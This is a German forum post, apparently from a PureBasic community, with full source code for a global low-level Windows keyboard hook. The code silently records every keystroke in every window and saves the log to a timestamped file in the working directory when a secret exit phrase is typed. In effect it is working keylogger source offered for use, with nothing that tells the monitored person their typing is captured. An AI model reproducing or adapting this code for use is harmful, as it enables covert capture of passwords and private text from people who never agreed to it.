LowLevelKeyboardHook abändern.
welchem Fenster. Dann öffnet sich ein MessageRequester, in dem du das
Beenden noch bestätigen musst. Dann wird alles, was du geschrieben hast in
einer Datei im aktuellen Arbeitsverzeichnis gespeichert.
Schau dir einfach mal den Code an und werde draus schlau.
Code: Alles auswählen
EnableExplicit
#ExitMsg = "keyhookende"
DataSection
DS_vkCode:
Data.s "", "LBUTTON", "RBUTTON", "CANCEL", "MBUTTON", "", "", "", "BACK", "TAB", "", "", "CLEAR", "RETURN", "", ""
Data.s "SHIFT", "CONTROL", "MENU", "PAUSE", "CAPITAL", "", "", "", "", "", "", "ESCAPE", "", "", "", ""
Data.s "SPACE", "PRIOR", "NEXT", "END", "HOME", "LEFT", "UP", "RIGHT", "DOWN", "SELECT", "PRINT", "EXECUTE", "SNAPSHOT", "INSERT", "DELETE", "HELP"
Data.s "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "", "", "", "", "", ""
Data.s "", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O"
Data.s "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "LWIN", "RWIN", "APPS", "", ""
Data.s "NUMPAD0", "NUMPAD1", "NUMPAD2", "NUMPAD3", "NUMPAD4", "NUMPAD5", "NUMPAD6", "NUMPAD7", "NUMPAD8", "NUMPAD9", "MULTIPLY", "ADD", "SEPARATOR", "SUBTRACT", "DECIMAL", "DIVIDE"
Data.s "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12", "F13", "F14", "F15", "F16"
Data.s "F17", "F18", "F19", "F20", "F21", "F22", "F23", "F24", "", "", "", "", "", "", "", ""
Data.s "NUMLOCK", "SCROLL", "", "", "", "", "", "", "", "", "", "", "", "", "", ""
Data.s "LSHIFT", "RSHIFT", "LCONTROL", "RCONTROL", "LMENU", "RMENU", "", "", "", "", "", "", "", "", "", ""
Data.s "", "", "", "", "", "", "", "", "", "", "OEM_1", "OEM_PLUS", "OEM_COMMA", "OEM_MINUS", "OEM_PERIOD", "OEM_2"
Data.s "OEM_3", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""
Data.s "", "", "", "", "", "", "", "", "", "", "", "OEM_4", "OEM_5", "OEM_6", "OEM_7", ""
Data.s "", "", "", "", "", "PROCESSKEY", "", "", "", "", "", "", "", "", "", ""
Data.s "", "", "", "", "", "", "ATTN", "CRSEL", "EXSEL", "EREOF", "PLAY", "ZOOM", "NONAME", "PA1", "OEM_CLEAR", ""
EndDataSection
Procedure.s GetvkCode(vkCode.l)
Static loaded.l = #False
Static Dim vkCodes.s(255)
Protected a.l
If loaded = #False
Restore DS_vkCode
For a = 0 To 255
Read vkCodes(a)
Next
loaded = #True
EndIf
If vkCode < 0 Or vkCode > 255 : ProcedureReturn "" : EndIf
ProcedureReturn vkCodes(vkCode)
EndProcedure
; /* Virtual key codes */
; /* 0x05-0x07 Undefined */
; /* 0x0A-0x0B Undefined */
; /* 0x0E-0x0F Undefined */
; /* 0x15-0x19 reserved For Kanji systems */
; /* 0x1A Undefined */
; /* 0x1C-0x1F reserved For Kanji systems */
; /* 0x3A-0x40 Undefined */
; /* 0x5E-0x5F Unassigned */
; /* 0x88-0x8F Unassigned */
; /* 0x92-0x9F Unassigned */
; /* 0xA6-0xB9 Unassigned */
; /* 0xC1-0xDA Unassigned */
; /* 0xDF-0xE4 OEM specific */
; /* 0xE6 OEM specific */
; /* 0xE7-0xE8 Unassigned */
; /* 0xE9-0xF5 OEM specific */
Global hWindow.l, msg.l, hook.l, Text.s, quitmsg.s
Structure KBDLLHOOKSTRUCT
vkCode.l
scanCode.l
flags.l
time.l
dwExtraInfo.l
EndStructure
Procedure.s DB_LCase(String.s)
Static first.l = 0, Dim Chars.c(255)
Protected *c.Character, a.l
If first = 0
For a = 0 To 255
Select a
Case 65 To 90
Chars(a) = a + 32
Case 138, 140, 142
Chars(a) = a + 16
Case 159
Chars(a) = 255
Case 192 To 214
Chars(a) = a + 32
Case 216 To 222
Chars(a) = a + 32
Default
Chars(a) = a
EndSelect
Next
first = 1
EndIf
*c = @String
While *c\c
If *c\c <= 255
*c\c = Chars(*c\c)
EndIf
*c + SizeOf(Character)
Wend
ProcedureReturn String
EndProcedure
Procedure.s DB_UCase(String.s)
Static first.l = 0, Dim Chars.c(255)
Protected *c.Character, a.l
If first = 0
For a = 0 To 255
Select a
Case 48 : Chars(a) = '='
Case 49 : Chars(a) = '!'
Case 50 : Chars(a) = '"'
Case 51 : Chars(a) = '§'
Case 52 : Chars(a) = '$'
Case 53 : Chars(a) = '%'
Case 54 : Chars(a) = '&'
Case 55 : Chars(a) = '/'
Case 56 : Chars(a) = '('
Case 57 : Chars(a) = ')'
Case 46 : Chars(a) = ':'
Case 44 : Chars(a) = ';'
Case 45 : Chars(a) = '_'
Case 97 To 122
Chars(a) = a - 32
Case 154, 156, 158
Chars(a) = a - 16
Case 255
Chars(a) = 159
Case 224 To 246
Chars(a) = a - 32
Case 248 To 254
Chars(a) = a - 32
Default
Chars(a) = a
EndSelect
Next
first = 1
EndIf
*c = @String
While *c\c
If *c\c <= 255
*c\c = Chars(*c\c)
EndIf
*c + SizeOf(Character)
Wend
ProcedureReturn String
EndProcedure
Procedure.s MakeChar(wParam.l, *p.KBDLLHOOKSTRUCT)
Protected ASCII.l = -1, z.s = ""
Static shiftdown.l = #False, altdown.l = #False, ctrldown.l = #False, menudown.l = #False
If wParam = #WM_KEYDOWN
Select *p\vkCode
Case #VK_A To #VK_Z
ASCII = 97 + *p\vkCode - #VK_A
Case #VK_0 To #VK_9
ASCII = 48 + *p\vkCode - #VK_0
Case #VK_LSHIFT, #VK_RSHIFT
shiftdown = #True
Case #VK_SPACE
ASCII = 32
Case #VK_RETURN
ASCII = 13
Case #VK_LCONTROL
If ctrldown = #False : z = "{LCONTROL Down}" : EndIf
ctrldown = #True
Case #VK_RCONTROL
If ctrldown = #False : z = "{RCONTROL Down}" : EndIf
ctrldown = #True
Case #VK_LMENU
If menudown = #False : z = "{LMENU Down}" : EndIf
menudown = #True
Case #VK_RMENU
If menudown = #False : z = "{RMENU Down}" : EndIf
menudown = #True
Case #VK_OEM_PLUS
z = "+"
Case #VK_OEM_MINUS
z = "-"
Case #VK_OEM_DIVIDE
z = "/"
Case #VK_OEM_MULTIPLY
z = "*"
Case #VK_LWIN
z = "{LWIN}"
Case #VK_RWIN
z = "{RWIN}"
Case 188
ASCII = '.'
Case 190
ASCII = ','
Case 222
z = "ä"
Case 192
z = "ö"
Case 186
z = "ü"
Case #VK_PRIOR
z = "{PgUp}"
Case #VK_NEXT
z = "{PgDn}"
Case 189
z = "-"
Default
z = "{" + GetvkCode(*p\vkCode) + "}"
EndSelect
If ASCII <> -1
z = Chr(ASCII)
If shiftdown : z = DB_UCase(z) : EndIf
EndIf
ProcedureReturn z
ElseIf wParam = #WM_KEYUP
Select *p\vkCode
Case #VK_LSHIFT, #VK_RSHIFT
shiftdown = #False
Case #VK_LCONTROL
z = "{LCONTROL Up}"
ctrldown = #False
Case #VK_RCONTROL
z = "{RCONTROL Up}"
ctrldown = #False
Case #VK_LMENU
z = "{LMENU Up}"
menudown = #False
Case #VK_RMENU
z = "{RMENU Up}"
menudown = #False
EndSelect
ProcedureReturn z
ElseIf wParam = #WM_SYSKEYDOWN
If altdown = #False : z = "{ALT Down}" : EndIf
altdown = #True
ProcedureReturn z
ElseIf wParam = #WM_SYSKEYUP
altdown = #False
ProcedureReturn "{ALT Up}"
EndIf
EndProcedure
Procedure.l LowLevelKeyboardProc(nCode.l, wParam.l, lParam.l)
Protected *p.KBDLLHOOKSTRUCT = lParam, rz.s
If nCode = #HC_ACTION
rz = MakeChar(wParam, *p)
If rz <> ""
Text + rz
quitmsg = Right(quitmsg + rz, Len(#ExitMsg))
Debug quitmsg
EndIf
EndIf
ProcedureReturn CallNextHookEx_(0, nCode, wParam, lParam)
EndProcedure
Procedure Exit()
If MessageRequester("EXIT", "KeyboardHook beenden?", #PB_MessageRequester_YesNo) = #PB_MessageRequester_Yes
ProcedureReturn #True
EndIf
ProcedureReturn #False
EndProcedure
Define SystemPath.s, hIcon.l
#WH_KEYBOARD_LL = 13
If SetWindowsHookEx_(#WH_KEYBOARD_LL, @LowLevelKeyboardProc(), GetModuleHandle_(0), 0) = 0 : End : EndIf
msg = RegisterWindowMessage_("DKs_k8D_h00K")
Repeat
If WaitWindowEvent(100) = #PB_Event_CloseWindow : Break : EndIf
If quitmsg = #ExitMsg
quitmsg = ""
If Exit() : Break : EndIf
EndIf
ForEver
Define File.s
File.s = GetCurrentDirectory() + FormatDate("LOG_%yyyy-%mm-%dd_%hh-%ii-%ss_" + MD5Fingerprint(@Text, Len(Text)) + ".txt", Date())
If CreateFile(0, File)
WriteString(0, Text)
CloseFile(0)
EndIf
UnhookWindowsHookEx_(hook)
End